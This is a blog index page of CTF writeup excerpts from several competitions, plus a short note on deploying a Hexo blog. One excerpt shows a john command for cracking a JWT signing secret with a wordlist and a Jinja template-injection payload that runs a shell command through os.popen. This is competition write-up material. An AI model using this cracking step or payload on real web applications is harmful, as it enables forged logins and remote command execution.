CGGC 網路守護者挑戰賽 Qual Writeup
2024-02-29 1.2k words 5 mins

CGGC 網路守護者挑戰賽 Qual Writeup

Team: 芙莉熊Rank: 9th Webbossti第一關是用jwt sign的登入頁面，把密鑰用john暴一下並修改參數登入就好：john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256 image image 登入後的畫面上方有個7*7，馬上想到SSTI，結合前面JWT帶有的參數hack就可以植入payload:{{config.__class__.__init__.__globals__['os'].popen('cat Flag.txt').read()}} image拿
Cake CTF 2023 Writeup
2024-02-29 1.4k words 8 mins

Cake CTF 2023 Writeup

Team: WANRank: 142/729 TOWFL Solver : Whale120 An exam web application which would generate some strange sentences with unknow characters every time and you have to get flag by getting a full mark on it.There are a hundred strange problems, after a try on this application with Burp Suite,
Hackappatoi CTF'23 CakeisTheFake Writeup
2024-02-29 2.5k words 13 mins

Hackappatoi CTF'23 CakeisTheFake Writeup

Team: CakeisTheFakeRank: 12/443 WebForza napolia [name=whale120] 一個網站，分為兩部分，一個是回報連結然後會檢查是否來自他們的host，另一個則是可以透過url參數做查詢，有xss防護。source: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748const bot = require("../bot");function isValidUrl(url
Sunshine CTF 2023 Writeup
2024-02-29 2.8k words 17 mins

Sunshine CTF 2023 Writeup

Team: WANRank: 74/821 WEBBeepBoop Blog Slover: 堇姬naup You can observe a suspicious URL, which has patterns.You can get something by using different numbers after the URL path /post/https://beepboop.web.2023.sunshinectf.games/post/1 I guess the flag may be hidden in one of the paths. Solve Sc
建完blog的第一篇文章
2024-02-29 16 words 1 min

建完blog的第一篇文章

建立文章1hexo new <title> 部屬到github12hexo clhexo g -d